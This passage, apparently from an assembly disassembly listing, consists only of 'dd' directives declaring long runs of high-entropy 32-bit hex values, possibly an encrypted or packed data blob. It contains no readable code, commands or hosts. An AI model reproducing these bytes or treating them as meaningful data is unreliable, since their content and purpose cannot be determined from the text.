		dd 712E4CFh, 423C53F6h,	508479E1h, 264B794Dh, 801BECBDh
		dd 0D72DB881h, 76258ABCh, 24C304F0h, 43091A02h,	24691FF1h
		dd 0BCE2210Ch, 57BBA91Bh, 0D56F6CCFh, 772EB8B3h, 22799659h
		dd 57D57797h, 5565147Fh, 51A89FDCh, 1FEDF837h, 0CDF035AFh
		dd 88B45E73h, 5CEC40A9h, 0F6EB5CEBh, 0C7BD2F6Ch, 0CD136CBBh
		dd 9E20E18Ch, 0DB3F3636h, 0D9B45DCDh, 2A1204B8h, 5EA565FEh
		dd 0E00E7A8Eh, 2A4A7467h, 112DBC47h, 0DE847C24h, 3F81B4EDh
		dd 0F04A8329h, 0BD272CC2h, 33B03FBCh, 261F3120h, 9996F147h
		dd 5729BF97h, 7A961BBEh, 0B18C967Ah, 0FD66FDA0h, 3B47C2EDh
		dd 0AEE01D96h, 8C96CF89h, 0A71584B9h, 53CC08C8h, 4E86E7C5h
		dd 40A13A0Eh, 0A2E8D92Bh, 7E9A3394h, 0A5FD9BF5h, 50692C4Eh
		dd 0F78B1889h, 468449C1h, 6B749591h, 17C3E5CCh,	0B1100A9Fh
		dd 963D50F2h, 42772B74h, 715A260h, 449622h, 621D478h, 0B4BCE046h
		dd 1A2CAD0Fh, 0E2DF7C63h, 270B0A1Dh, 90EC1C1Bh,	44509E74h
		dd 211AAE43h, 0EDC214DFh, 51CF78Ah, 0FA42771Ah,	0E73B5ECAh
		dd 6CECB4BCh, 88F56FEEh, 0C0D25EAFh, 2C57CFFEh,	13A14CFDh
		dd 0F69D0075h, 0F5C3897h, 8BBB1E99h, 343C4DF4h,	3BE1EEC7h
		dd 0B50DBA8Fh, 0F51629CCh, 3113039Dh, 62CF510Eh, 879C4C5Eh
		dd 36B410E4h, 99A3AF1Fh, 742CC3E3h, 916DEFF0h, 9227F1F4h
		dd 0C1AA651Ch, 49DDCE28h, 0BFD045C9h, 0D84C72C8h, 0EA812B1Bh
		dd 0A7692B6Ch, 612EAD1Ch, 0F5C392E3h, 5B353D1Dh, 0DD2FA8D6h
		dd 0A233999h, 408E9C83h, 9E5BEC87h, 9B2AD8F5h, 0DB330E5h
		dd 4E2CC042h, 90AE27B4h, 8D46CD0Fh, 0B53F5DCAh,	362A3FBAh
		dd 130A07B4h, 6CE8F31Eh, 917047D6h, 0B99ACDh, 29468BCAh
		dd 9E34B3F2h, 0D68051A1h, 0A7103623h, 0BDBAA6C3h, 0E673EA7h
		dd 14265765h, 41EABB6Dh, 0B26C40E0h, 3C46A40Bh,	0F8B918D4h
		dd 0EDD846FAh, 709891F1h, 0C1863CFDh, 0C284D9F7h, 434C8F08h
		dd 0A2FA1286h, 0F815C659h, 0ECF63DB2h, 0FD007378h, 74D036A3h
		dd 98DC7834h, 86FF2547h, 0E3F04816h, 31CF06EBh,	0FA73847Bh
		dd 7118015Ch, 851DB045h, 48D2049h, 4727AE92h, 8B10935Eh
		dd 4BBA378Fh, 3A2ED412h, 64960913h, 17FAD826h, 0C2B5AF45h
		dd 34437BFBh, 3BC30435h, 8E7AC5BAh, 302ECA08h, 0E9A4BA4Dh
		dd 12CC8F2Eh, 207850E4h, 0E281D295h, 7BE8C66Fh,	782C1C5Fh
		dd 15A32C77h, 92997734h, 74B814FEh, 0A7E4453Bh,	756EEB92h
		dd 928018C7h, 5FD2FE92h, 0CD35CB6Dh, 0C0FA38C8h, 511E75DBh
		dd 949135FFh, 0ACCB691Bh, 0D5552B78h, 0AB7DF36Ch, 0CF90D8BCh
		dd 0B87073CAh, 0C5FBD5Dh, 3E34EFBh, 0BEA12926h,	37921148h
		dd 0FABFBCFFh, 79177FA6h, 0A59EEB33h, 214C2603h, 0DFA63E04h
		dd 93749045h
		dd 0FC30C05h, 169B982Ch, 179C308Eh, 956FBA1Ch, 0E6F8B198h
		dd 749B7691h, 2C4150A6h, 4FFC0DF3h, 0FA5E7A4Ch,	0CCA3D3FFh
		dd 5AA94715h, 0BB5606FFh, 6BAF4FC8h, 32CA3B4Ch,	0CE137F98h
		dd 0A1C9F2EAh, 6448CBCh, 90E04220h, 0E13FE205h,	54AC3ECBh
		dd 52921DBh, 1141E6A2h,	0EF5CF68Dh, 0F776B6EBh,	0F2628611h
		dd 34DBC76Ch, 0ADA7A956h, 0A48FD041h, 0EAE83F40h, 0CE472CE3h
		dd 3BDC52BEh, 49F28106h, 8A027335h, 0FEFEA74Ah,	4E06864h
		dd 30C8C7A9h, 0C55AF3D4h, 0CEEE508Ch, 0E1A08893h, 13BEEF18h
		dd 145E10F1h, 0E963FC33h, 35ACFED2h, 853F9CCBh,	0FF7131D4h
		dd 65D71EB1h, 0F85B1B18h, 0E80D4166h, 7CD404C5h, 0C29F6541h
		dd 0C9237CD3h, 0DE98F657h, 0D07F24Eh, 0D6BA355Bh, 5B535C0Bh
		dd 0E473F934h, 0CB2003D7h, 775FBA9Dh, 0D9EAF861h, 72AC7C74h
		dd 0F4866436h, 5F598CC7h, 51B7ED85h, 5B252285h,	0FD4AA759h
		dd 8762DC4Eh, 80660846h, 0A06CB8A6h, 5B749304h,	0EF7FCB34h
		dd 0EEA9CDF0h, 0EFED2645h, 6E244DFCh, 53D03952h, 427C9D4Bh
		dd 5CC4B196h, 0E72C68ACh, 50ACD6A6h, 0CDFA79B1h, 29A1B1AEh
		dd 0E21C68B4h, 7C02196Dh, 0FBFBEACFh, 1B0797F6h, 4E2B45EDh
		dd 0EDADEA8Fh, 0DE286716h, 0DBB186B2h, 0E3960312h, 38BF03E9h
		dd 0A0ADA978h, 8BD06EB2h, 0E299A736h, 5C7DCC89h, 3EB7548Ch
		dd 85A13E35h, 0BBD3E790h, 4159FE1h, 3D7EDE5Ah, 979248CFh
		dd 0A819A6B3h, 0E184B17Ah, 7E835BD0h, 0BA9AA255h, 8D4D45DFh
		dd 2E205DEh, 0F4A2A865h, 95786846h, 0BA2EB43Bh,	0D664634h
		dd 4FE8F609h, 2269B83Bh, 589AAAA7h, 0D8DF0DB7h,	0B68C0854h
		dd 77B1B8DEh, 9C4262ECh, 0FFC9BA2Dh, 12459406h,	51D72D32h
		dd 885A4FA4h, 0CD311CC1h, 8491E801h, 91128468h,	3F69F379h
		dd 0EE715D5Bh, 0D3E6849Ch, 0A89AC698h, 676B611Ah, 6ED503BEh
		dd 4DBC5C16h, 0C95AD3Eh, 8D042212h, 73062330h, 0D943985Ah
		dd 0AF9282BCh, 0C5294868h, 17B8A743h, 43008557h, 55DC1D77h
		dd 7D9335C8h, 0A711CC56h, 5AD3AE32h, 0BFE7A599h, 0B68E382Dh
		dd 0C2EF2DAEh, 0D67B8F5Eh, 0F5B77BCFh, 0DC23C8E4h, 451EDF91h
		dd 0C757AE1Fh, 56A99966h, 25B892F2h, 91C1B99Eh,	0A9476208h
		dd 0B2F07B83h, 0AF6522ABh, 7F57BB49h, 5FE393D2h, 0D72821D3h
		dd 41EF7203h, 2EA828A8h, 0B4564D0Ah, 14948AB5h,	0A06061E9h
		dd 6FEB55DAh, 63F5EA3Ch, 2F92D270h, 102B1316h, 9BBE6637h
		dd 0D8BD496Eh, 1A49C120h, 0B8C533FEh, 60CA4020h, 47DA1C79h
		dd 99AF9707h, 0E59453C3h, 6C69A22h, 0DC31F36Ch,	3898B5C7h
		dd 0C75470FAh, 73F53834h, 0E61AB5F1h, 7016F84Ch, 0CFFE614Ch
		dd 0FE812480h, 2E326F7Dh, 3B891704h, 9CBE2BFh, 85B19E86h
		dd 4A0F8F9Bh, 2ED64FEAh, 67E06671h, 5F34AEE5h, 0EE17F970h
		dd 465E020Ch, 99AB61F5h, 9C6E1F0Ch, 41A8E3D6h, 0BA79B8DFh
		dd 0EBDA526Bh, 0C5541315h, 0C6EB16F3h, 0E455C672h, 1F5AE9C9h
		dd 2574A368h, 0D6810A3Fh, 0CD51259Ah, 0AC390381h, 0E5AA908Bh
		dd 0A6DABDA4h, 529245DEh, 6FC84A58h, 74BBA1DEh,	997492C7h
		dd 53009AC6h, 39A38640h, 0FBD38EE0h, 0BBF6FB7Fh, 5BCA4CCBh
		dd 0A9E259E9h, 0EF762F50h, 5293AC09h, 0BF565025h, 0CCD4F177h
		dd 0A72844A4h, 565D068Dh, 36B7E015h, 0EC2EE41Bh, 0F8ECCCCCh
		dd 21CC7D45h, 0EC159ABFh, 618A38DEh, 0E54D0FF8h, 0F809CEFh
		dd 6BEF8F60h, 397E47EEh, 0A746F0Eh, 16E0DD14h, 0E19A17A9h
		dd 733AC5DCh, 72C0C817h, 0BEC8F369h, 0A9E000D1h, 186F0D91h
		dd 0ED1D6A7Ah, 0BD1501D7h, 7B6B2A49h, 6D666B8Eh, 0BDF71EB6h
		dd 31D3E733h, 27B54313h, 52205D6Dh, 968ACFD8h, 0CA862C4Dh
		dd 0BC14792h, 90012E2h,	9CF2E153h, 0AC55B332h, 9B09E831h
		dd 368C9C3Fh, 999D9954h, 0BCB55614h, 0A31FD54Eh, 0CC14A3DAh
		dd 859C0B97h, 0A9EB58C7h, 76F00452h, 48847024h,	0B28BCCB8h
		dd 0E71D36DAh, 0FD227319h, 31AD181Bh, 12BADD65h, 1D30B57Eh
		dd 0D4B331D2h, 0E19D117Eh, 75601D1Bh, 0CFC306F3h, 3E86AABh
		dd 669B5D4Fh, 810D9101h, 0D6E84F9Fh, 9210986Ah,	33E42EAEh
		dd 10696682h, 0AA29803Bh, 0CCAD1177h, 0BCDA6E4Ch, 0E4659586h
		dd 0E4F6FA00h, 37119A3Ah, 533F4585h, 0F35E2A94h, 67D389D9h
		dd 674318A0h, 20C72EA0h, 97B9FEBFh, 6E7E5752h, 0EC8EF103h
		dd 209E45F4h, 0FC2FAF26h, 0F26CB359h, 14BD36Dh,	0C3C56848h
		dd 18947151h, 797232BFh, 3A71F97Bh, 5639898Eh, 0A4EAC373h
		dd 0F756539h, 39A513D3h, 0D077B4Fh, 2A5F409Ah, 0ECFF16A9h
		dd 0C4A25A7Fh, 3120922Dh, 0DD81BC37h, 0C1C4A938h, 3EB3AB48h
		dd 0D9F15A21h, 0A99CF7D9h, 83A9DD5h, 21C0A5B9h,	30FDEF4Ah
		dd 2F3023Bh, 5C070CE1h,	38BCDF06h, 201B171Bh, 0ED28DE4Fh
		dd 0FC3F243Ch, 430441D7h, 0C6766E5h, 0F3452164h, 0F024882Ah
		dd 0CA88935Fh, 0E9335FACh, 0BAAA0300h, 5173E31Ah, 0E4369450h
		dd 17CE069h, 469F8A15h,	9487FA3Fh, 0AD848AA9h, 0E5B3FA71h
		dd 82B81C1Ch, 77BDF10Ah, 0E7A0E2D3h, 702ADA6Bh,	6DF728E8h
		dd 2E457844h, 86406FF7h, 0FED66A7Bh, 76A076D0h,	537D6132h
		dd 0EBE6F0DFh, 62B5A0AAh, 0F087D0BCh, 0B11883AAh, 0A630A1DAh
		dd 0B512729Bh, 4CE8FA60h, 0D45B9095h, 6CA46922h, 0FCF319B7h
		dd 111C3A20h, 0D4774173h, 399AE0h, 0A813986Ch, 0BFA57B1Bh
		dd 8AFFD13Ch, 733BCEA7h, 3848251Dh, 0C71B39BDh,	78FA76B4h
		dd 28E3C067h, 80BDE310h, 381A03B0h, 9F54E1A4h, 573419A5h
		dd 0C37F1EDDh, 0E376B433h, 0BF747D27h, 0B863EDA3h, 1C74CCDCh
		dd 2AD7E834h, 0DD77C350h, 0C5DCD6B1h, 89B64BCEh, 0E077ECAFh
		dd 0C031C9DCh, 0AD97C5F1h, 7D99A4F3h, 1315F96Dh, 9AE0F987h
		dd 9C347BFDh, 0DE66FDDh, 2B62E259h, 0E3B198C3h,	16B3C1D4h
		dd 0E988E1F3h, 2B9F2934h, 334BAE5Eh, 616B9814h,	1584887Ch
		dd 0DB854C14h, 9BDCD8F6h, 354C7FE2h, 1BFC1457h,	936D61FBh
		dd 80F9E542h, 176BFDB2h, 0D88581E0h, 2880DD3h, 0B13909AFh
		dd 0B09EC528h, 0A8479F3Ah, 0D07DD44h, 71D8F7h, 0F5FF1ECFh
		dd 0FFC12096h, 6661E374h, 667948E5h, 0FB95DEDDh, 4D80FB01h
		dd 0FF7F260Fh, 7039ADEAh, 0F544C569h, 0F37E0E03h, 8B286667h
		dd 2EB9DF76h, 0DD3D24EDh, 3A28FA28h, 0B8D6C47h,	7D5D8E5Fh
		dd 0F8DB1FD4h, 56A18E39h, 0F4330EA7h, 7C1A6521h, 80E13507h
		dd 69FC4BDEh, 46D98B87h, 0EB16AE8Dh, 2C1C6639h,	3A1D3372h
		dd 0CD74F984h, 1C5B26CEh, 19AB680Ah, 0A5CED9FEh, 0A5D3BB1Dh
		dd 4F4A96D5h, 0A31049DDh, 0FD4DA84Bh, 637ADE68h, 0E9447E2Ch
		dd 8295CD2Eh, 0AD05256Bh, 7F18C72Ah, 8A76296Ah,	0D132DA5h
		dd 9EE7E679h, 10E61B33h, 3BA8D51Eh, 0AC366437h,	6E922636h
		dd 3362029Fh, 0F52E45B4h, 504065FCh, 0E947E340h, 0A8B365EDh
		dd 0F29A6F59h, 0B0E9EEABh, 96D112FCh, 85F85761h, 8C9C0779h
		dd 9DD118E3h, 27E241B1h, 6649C272h, 0B99B9EFAh,	1C4F9985h
		dd 8446A35Ah, 0AE8ED883h, 59C18EF4h, 75FDF745h,	0EAAB7605h
		dd 0C1F73FA4h, 15AF67E7h, 74446555h, 5A6D6659h,	0F00CC93Ah
		dd 0F7E901A4h, 1CB66119h, 0C99F10C0h, 7BC9334h,	0C49A28AFh
		dd 3C3926h, 8492A79Eh, 0B974CFE0h, 54591547h, 0F1797D8Ah
		dd 0F3160CB8h, 6F0448DDh, 0E8547587h, 0A4A77FE0h, 8AD81A88h
		dd 981026D5h, 89F4E112h, 0DF20B23Eh, 60ADCC4Ch,	508054EDh
		dd 9C8DF1Bh, 6FFF77F0h
		dd 2337A2FEh, 6EBD1A30h, 7AEEAE9Ch, 781C5662h, 0B4EB51CEh
		dd 9813B60Ch, 0EF9F0A2Ah, 1DA8622h, 0EBB5959Ch,	9D96DA40h
		dd 6C3A11ABh, 1DF8FA54h, 0BB3E3E8Fh, 0C5F82574h, 53A6087Dh
		dd 373B4D08h, 8D541F0Dh, 956BBB80h, 0D71998B1h,	51521EAAh
		dd 4353F628h, 6A8B9137h, 23B1C298h, 756BE8B4h, 221E01C1h
		dd 1786A9CDh, 0A918E1FAh, 0EBDD9ADEh, 7C135522h, 0E20B706Dh
		dd 3F836344h, 902AC5A1h, 0B2A543F9h, 5400C7E8h,	0B1FE57Dh
		dd 0BC7ADD0Ch, 0F9201151h, 0F5D976EDh, 9F39D5D6h, 0F8761EF9h
		dd 0AB2FEE14h, 8692DDF8h, 6C7A5058h, 0BC31DA4Eh, 0CA24117Ah
		dd 0FCA0F985h, 8FADE5BFh, 0F7210498h, 0D4C8BA94h, 2BB2A58h
		dd 0D03E1FAAh, 0A4D3F97Bh, 0D945AD2Fh, 5C27B96h, 0DCE274F1h
		dd 3DF3D736h, 53734445h, 22FEA9F1h, 0DA90A39Eh,	581AC23Dh
		dd 26A242CEh, 0CEF4ACDEh, 0FA7D82E3h, 0D106BF8Ah, 1768F978h
		dd 0C93CF71Ch, 2CCC812Ch, 69590BD7h, 0E6C6C6C2h, 8BB29135h
		dd 0A8778384h, 98CF72FDh, 64049A9Fh, 0FED9AF99h, 0E5010752h
		dd 0D7B0FB01h, 52134E98h, 0BDB9ECD3h, 5D69B677h, 753720D1h
		dd 0FDAB8322h, 1832DFC3h, 0C18FE188h, 0C6346F8Ah, 6362F2E9h
		dd 5C8915C6h, 0B6FDC4EBh, 4FF54113h, 2B39A7A4h,	8141DB89h
		dd 0EB4F8FF9h, 0A299BA3Eh, 0D90B2A17h, 1E7D5B05h, 0E2864579h
		dd 0F44BE8F6h, 0A4C8E518h, 4A0796DFh, 52ACF05Eh, 0E9C2E572h
		dd 67F62461h, 0D528D442h, 0EE06A880h, 313A3A7h,	0F397CB1Ah
		dd 9F20FA9Fh, 61977E7Ch, 3E04F571h, 30ADD2F3h, 0ABB843E1h
		dd 59CD958Dh, 0F222C16Ch, 0D8319147h, 54F51405h, 0D06F0519h
		dd 59522488h, 0E837C9E2h, 0E4ECCA41h, 3EF2A537h, 1793CDE1h
		dd 0FF1D0F66h, 10F75EB0h, 0FFFFEF23h, 39C40B62h, 0E2E09487h
		dd 974542E2h, 42F461B9h, 0DB45BDD6h, 8452441h, 0E09B6FB5h
		dd 0F7D432E0h, 0E8C2399h, 862FF7D7h, 0FB947CD0h, 0E245FC0Bh
		dd 75E9E250h, 424C4BB2h, 0A8C5C7F1h, 8BFD5FCh, 0E44D9EE5h
		dd 726FE8CEh, 8D22E128h, 0E220220Fh, 5C35C8FEh,	0BF9B9220h
		dd 73FD7272h, 0C282D8ADh, 78B93BCh, 8E24302Ch, 2514C7ACh
		dd 0AD416B5h, 0FB189A15h, 0A67FB1F3h, 20F7C31Bh, 97C39584h
		dd 0F9650F28h, 0CB2E817h, 1EC7B4Bh, 94233451h, 0F6881223h
		dd 0D085A38h, 0E53DEE68h, 556FB412h, 7E151CD5h,	18B515Dh
		dd 0A8426EAh, 0BA9646A0h, 159B9A20h, 6C82D622h,	0F3DF7315h
		dd 70F5B401h, 66714536h, 0C239FE60h, 0E25FD7CCh, 0FC25185h
		dd 0C48EC6A2h, 0BF4140D0h, 96649D48h, 0DB0F4AA3h, 6E7517CFh
		dd 0FE62CA6Fh, 5C6A333Bh, 0A4D5922Bh, 50100116h, 0CC32234Fh
		dd 5A7FF0C1h, 751EC044h, 1A7BA8B2h, 1D02A625h, 7D3B4DCh
		dd 0F96056F7h, 67C9C27Dh, 707C7B6Dh, 0B33C4638h, 68949436h
		dd 8327E521h, 495FA2B2h, 4CB68F4Ch, 85271E56h, 9C7846BCh
		dd 91DED733h, 0E09D63C9h, 1E7C075Dh, 0E935674Ah, 30D961DBh
		dd 0EFCB6736h, 520584C4h, 9B1D54AEh, 47DB3498h,	51A3B04Ah
		dd 4D62371Ah, 0E8BAFFC8h, 0F5A388EBh, 0E8C1D0CBh, 53B79E3Eh
		dd 0C71FCD41h, 5DBC6870h, 0F9617900h, 8E85DBACh, 7D48878Fh
		dd 0D588EDDBh, 0B6E6844Ah, 0BA1DE04Fh, 0E46C078Bh, 6D5FCE2Dh
		dd 0C13D5458h, 5ABA205Eh, 0F806CDD7h, 1DCE8A26h, 641D54E5h
		dd 22407AC9h, 981DBDEEh, 0F173BCE1h, 0B74009CDh, 0D8F4D650h
		dd 0FD380C88h, 96F5793Fh, 81573B72h, 4603860Dh,	0FF66CC6Dh
		dd 38E54412h, 74B1B921h, 797B381Fh, 42B7638Dh, 0AA8DDAF9h
		dd 0C95A962Ch, 9E1CE0C1h, 67CF9E3h, 0FE978D98h,	0E387BA62h
		dd 3AC4EBA8h, 0F0698D74h, 0FE4AF15Fh, 3652EDC6h, 600C65C5h
		dd 0CA2D6A3h, 177E03BFh, 0E95ACB05h, 720B1E0Dh,	7A12DF42h
		dd 0E4766660h, 716CB34Bh, 2485FB3h, 679C2F47h, 0A36D09BCh
		dd 0DA263C6Ch, 0C0219CC7h, 0E4BECFAFh, 164A07D3h, 35CB9993h
		dd 2A3A7B78h, 772CB656h, 1EC08018h, 9E3D9B12h, 1BEBAFD3h
		dd 7B98B07Eh, 0B8459103h, 0EA5C24EAh, 0F187EA7Dh, 0BAA63AE7h
		dd 9212840h, 161A7984h,	3694F524h, 0C60EED87h, 9A162BAh
		dd 505887A8h, 0BFD36999h, 10CD7F0Bh, 3899D17Eh,	5493663Eh
		dd 0D0A76219h, 50F3FF2Ch, 49215E74h, 8867889Dh,	14BC7BB4h
		dd 885D2449h, 0EB4F6593h, 78695EA8h, 5A0F42B2h,	6E3F5D34h
		dd 3E5EC990h, 9CBF1FBBh, 819B7F4Fh, 0B20D4ABDh,	0FA1DF981h
		dd 0BEA87E61h, 0FA459357h, 0CD610803h, 5DB1425Bh, 1BB1A770h
		dd 52A19646h, 0E4F127CBh, 0BCBC6E90h, 0ECB3B09Eh, 374A1175h
		dd 1D161ABAh, 2B2A7E90h, 0CFE702D2h, 2AD3CF09h,	0A0FB4172h
		dd 93E07294h, 0FA4E8AC4h, 12AF0395h, 44574025h,	0B8361E0Fh
		dd 1404C7C5h, 0D111360Eh, 0DA113B80h, 0D30A1C17h, 0FFF66E8h
		dd 9A5CEDEDh, 188A488h,	0ABDD3CD9h, 8A06699Ah, 1150BE50h
		dd 7AD19F45h, 0E1168D95h, 0FE3DD87h, 0E32CF3FBh, 0ACA0449Bh
		dd 0D0B2C71Eh, 2AE687F8h, 0BE0E036Fh, 2CFCC01Eh, 0C7F1F237h
		dd 0A7DCC48Ch, 0BF4A4C4Ch, 978DC63Bh, 77AB487Bh, 3D7781D5h
		dd 3587474Fh, 9CB624EBh, 6EC1C6E5h, 0C007FD03h,	3F3AEB1Fh
		dd 0D1E97B1Dh, 0E37523CCh, 0D22DCFD2h, 9A31B28Bh, 653D413h
		dd 9CA63FDEh, 0FC35583Eh, 759771D0h, 7966EEA9h,	78BD73E5h
		dd 56F2E0A0h, 0DE851A7Bh, 906F8BCCh, 97653E54h,	64BC8CF9h
		dd 71035AD0h, 0A1E16F89h, 0E9AE8106h, 0F921560Ah, 77411E77h
		dd 9EA84361h, 4DDA7F95h, 0CB503A7h, 0E063E022h,	0A4DBBEA4h
		dd 285DE926h, 0E4413FE7h, 66991C84h, 66214D0h, 0FBFA2D07h
		dd 0C6D4327Ah, 0FA5D32E8h, 8770FF9Ah, 9BC86272h, 403EAF8Ch
		dd 8494FB2h, 0FC7B30DBh, 590D0721h, 89D29D3Dh, 6551E2CFh
		dd 914AD668h, 0B718424Eh, 8C1EE440h, 0DD54CD7Bh, 0C7E2FB6Fh
		dd 0EAF7AB26h, 2CCBBFA9h, 4D03168Eh, 5AB7B9D2h,	3AB8E207h
		dd 328A8E51h, 8A32EB8Dh, 675AA4C2h, 6516B926h, 6B6F3495h
		dd 923957D5h, 0ABF9F3C8h, 0B73943CDh, 89BB6B19h, 0E675FA6Eh
		dd 561BE8F5h, 8BDEA07Ah, 0A6BBD342h, 62C0EEF8h,	0E0A8E34Ch
		dd 0A4CCD541h, 99491276h, 3D49F1C3h, 36F51806h,	3CB4E4F1h
		dd 0CDDEF933h, 16880C4Eh, 5BD99372h, 51F05015h,	3C2DE43h
		dd 318C1088h, 58C00144h, 2A5CFB51h, 0C1ED3993h,	962AB48Bh
		dd 21FA1DFDh, 8A09B37h,	36A5E2h, 0C13FCE58h, 94CA0E2Ch
		dd 326C11Eh, 8632A3D6h,	0B7F52919h, 0BBBB4B36h,	7B38D9FAh
		dd 943376E7h, 0FA4F5529h, 97B4163h, 0EF39B947h,	0FE44A6DAh
		dd 4E9E6323h, 358B3280h, 83A9769Dh, 5B680338h, 966EBB8Ah
		dd 40BA9653h, 0B858FB5Dh, 92FD0EB2h, 0D5FC8850h, 468AAE73h
		dd 0C2F71AA4h, 4564151Dh, 33752C84h, 86F137D5h,	30071D3Dh
		dd 9D516777h, 0C324E345h, 64F00DBBh, 0E3EA7310h, 0D34A79D7h
		dd 1FE0C495h, 0C66A5763h, 5C484391h, 1B4A199Dh,	89A45B4Ch
		dd 2B804A0Ah, 0A3BACE85h, 87378D09h, 7483EB39h,	1967E4D4h
		dd 8476A516h, 29B67073h, 0AEB5ED67h, 0BDD94F75h, 16CC981Eh
		dd 0B581DDA7h, 501BD000h, 8E9CBCBh, 0CB091B30h,	0C93AF2E7h
		dd 0A5870516h, 104E59Dh, 4A29C4F5h, 0D219F262h,	22B10723h
		dd 62EFACE1h, 0E3A1E061h, 7C45DEBDh, 0BE657A87h, 16DFEE54h
		dd 0B1D1479h, 391F4D33h, 0FD22531h, 827939A7h, 0D8E7D626h
		dd 3179E8CDh, 7431AA70h, 2FA3191Bh, 49A4D82Bh, 872EA4A7h
		dd 752C10F7h, 0F5F7AD31h
		dd 0B91ACF10h, 5BF7E226h, 0F8DA0E60h, 4FC35794h, 63A09E1Bh
		dd 0E065D55Fh, 0B9C79BEFh, 2D0B4ACFh, 6BD281EDh, 0B4452B6Bh
		dd 4A1408AFh, 2AFB490Fh, 0D59E5BC7h, 1C24F2DDh,	434C857Ah
		dd 0F912AC01h, 25EA7D7Dh, 0E584E7B6h, 0E441C65Eh, 5AE4A5F7h
		dd 0DF6A1048h, 6E4883A5h, 4295126Fh, 0E89894BAh, 6F531C3Bh
		dd 0B6281EF0h, 1ADF812Bh, 0E6E53A18h, 0F5609FD3h, 57199538h
		dd 0CA3CE4DFh, 0ACDF22A9h, 94FE2E9Bh, 0D0440A8h, 0F5CE42E6h
		dd 6359D385h, 1BC30C3Fh, 86A61E62h, 0BC431A59h,	0CDDDA70Ah
		dd 0D1B0394Eh, 0A9D8AFC0h, 0A7110B2Eh, 5F8D0115h, 36710D67h
		dd 29B5B7D3h, 77137559h, 1ABCBFEAh, 38519B0Eh, 0AC70CC08h
		dd 0D4506DCAh, 0E66C0D97h, 5B35E929h, 590882B9h, 0D9429FC9h
		dd 0DEDB7D4Bh, 0DA3E8102h, 0F6861097h, 4F11FB6Eh, 588538BCh
		dd 45D0117Bh, 86D556A2h, 4EE13236h, 3C462FC9h, 0A81600B6h
		dd 9FE8C691h, 72F7383Eh, 93697766h, 33565148h, 0CD37BBE6h
		dd 88E16E79h, 340C0D8Eh, 1A271298h, 0C8DC639Bh,	0D7FF8A29h
		dd 631D57E7h, 6B0D59F1h, 262DBC35h, 2F12EB2h, 53A99F30h
		dd 0BADA11C5h, 64CD5CAEh, 0BE0241EAh, 0ED961AFAh, 0B69D1A53h
		dd 6859C967h, 45597D85h, 0F46303AAh, 0C57305CFh, 7021AF30h
		dd 0F2D83908h, 22B13E92h, 37691709h, 6BE8D916h,	9FFBF1BAh
		dd 0E9ADCC7h, 0B3F7E89Ch, 798273CAh, 38D17943h,	273DA6DFh
		dd 281E2627h, 0E63B7030h, 0EAD60516h, 93B1B946h, 93C74D6Bh
		dd 9285B123h, 62842C3Ch, 884D6A97h, 4A7C6B5Ah, 5B07DDA7h
		dd 0D2AEC9F1h, 41AFA423h, 83C925F0h, 0E7D67CC7h, 6158E0B3h
		dd 6F2CE03Ah, 0BEC5F318h, 0F4B31F7Bh, 1B521223h, 0CC0CAF5h
		dd 0F1313733h, 0D60B9A93h, 0B4DE8E7Ah, 0AF28C293h, 701BBA49h
		dd 0C972286Ah, 0BDEDEB37h, 3A9C41CFh, 0D4CD623h, 0E3480101h
		dd 1DBEE5D1h, 9B4D268Dh, 17626EE4h, 9F488C41h, 0C0DC65D2h
		dd 0B63840A6h, 433D7070h, 0F3B895D0h, 54530BE2h, 0E2C102Eh
		dd 52468F52h, 0AB6F2A99h, 207EFC0Ch, 0E3A44B5Bh, 7DF928E4h
		dd 6BDC4BD0h, 3BC602BFh, 4BBFA05Dh, 57781A86h, 0F7B1472Eh
		dd 9989D296h, 6F9C5BDh,	0D2609641h, 0CBA8FE09h,	80A1EC0Ch
		dd 0D4C5DC2Eh, 77B0C9FCh, 920206EDh, 6857B77h, 0B3B0A033h
		dd 0A33592D6h, 60429A10h, 0B765A2C8h, 0D71C7B76h, 81E93808h
		dd 0EE79C409h, 2C47C8D0h, 0D8060895h, 0F30AE79Ch, 2790B5C6h
		dd 813BADDAh, 55A5A55Bh, 0C2DC2DD6h, 97AB15A2h,	0A2CC7681h
		dd 0A9E478BDh, 4C35322Ch, 9D49C188h, 84F40F8Fh,	0B0F5D764h
		dd 148F4DC4h, 46E7392Dh, 0DF0697C0h, 47315E4Ah,	796214A5h
		dd 0BF139C74h, 2F28D6B8h, 0ECC9C760h, 0C554B59Eh, 9A1B5623h
		dd 4AAE4E29h, 0EFB9C63Fh, 74245671h, 5104D120h,	0CAC52BE4h
		dd 1E8F6538h, 0C4FBCD9Fh, 0BA7C65B1h, 2D3F6F4Eh, 40222907h
		dd 5DA9E649h, 18614CB1h, 2C1B8C09h, 0F5B762C9h,	45CC32FCh
		dd 0D5FF20B6h, 0F64D3CB0h, 7F4E6867h, 0F333218Ah, 0CB8CCA2Dh
		dd 0ADAEBE9Ch, 0C665614Fh, 2FC95E2Bh, 0F719E6C9h, 9360AF16h
		dd 8B532386h, 8FF5C4E3h, 0DC65AD2Ch, 75299C8Fh,	0A0F7C0DBh
		dd 0FF078D25h, 756E4A65h, 696CF679h, 846ADE50h,	61E4B734h
		dd 73EEC5B9h, 0DEA77C30h, 7A16E490h, 9D101278h,	0ACE8A784h
		dd 0DC47E9D9h, 4F14F8BEh, 0B697DB16h, 7F9EC647h, 0AF23D6E0h
		dd 48C2B53Eh, 9CB56B5Fh, 885B662Bh, 0FBCC4798h,	374326EEh
		dd 0DD21399h, 70338C2Ch, 47EEC8DBh, 1474BAE5h, 0D1B54681h
		dd 7BBB6F5Ch, 44AB836Eh, 7F4EA1FDh, 0E5A33F69h,	20B6287Bh
		dd 1C6E1E7Bh, 1DA6DC30h, 0B9F6D858h, 0B358F790h, 20F292E5h
		dd 0D41F4632h, 1AD7BDA2h, 38956320h, 93403F8Eh,	42B063DCh
		dd 0D0237C93h, 0ABC43936h, 82B5AD9Eh, 0BAEFE19Fh, 0A2BA21A8h
		dd 0F754EA0Bh, 0ACDD5D3Eh, 0DD725916h, 341EC81Fh, 63094658h
		dd 0A82BBFB3h, 4237240Eh, 0D31B1578h, 2A79B796h, 9A022E29h
		dd 3A4AC12Ah, 0A72713FAh, 9F799D83h, 33D51BE1h,	0D04B817Dh
		dd 0B4AB8C33h, 0DD55845Ah, 7D918117h, 40229C07h, 116D53E7h
		dd 0B0E4200Ch, 89FFF578h, 0B872B65Bh, 43F69173h, 0F03AC518h
		dd 0EFC44ECEh, 0AC5D8715h, 0BD991158h, 0C6755DB9h, 0D366A5FFh
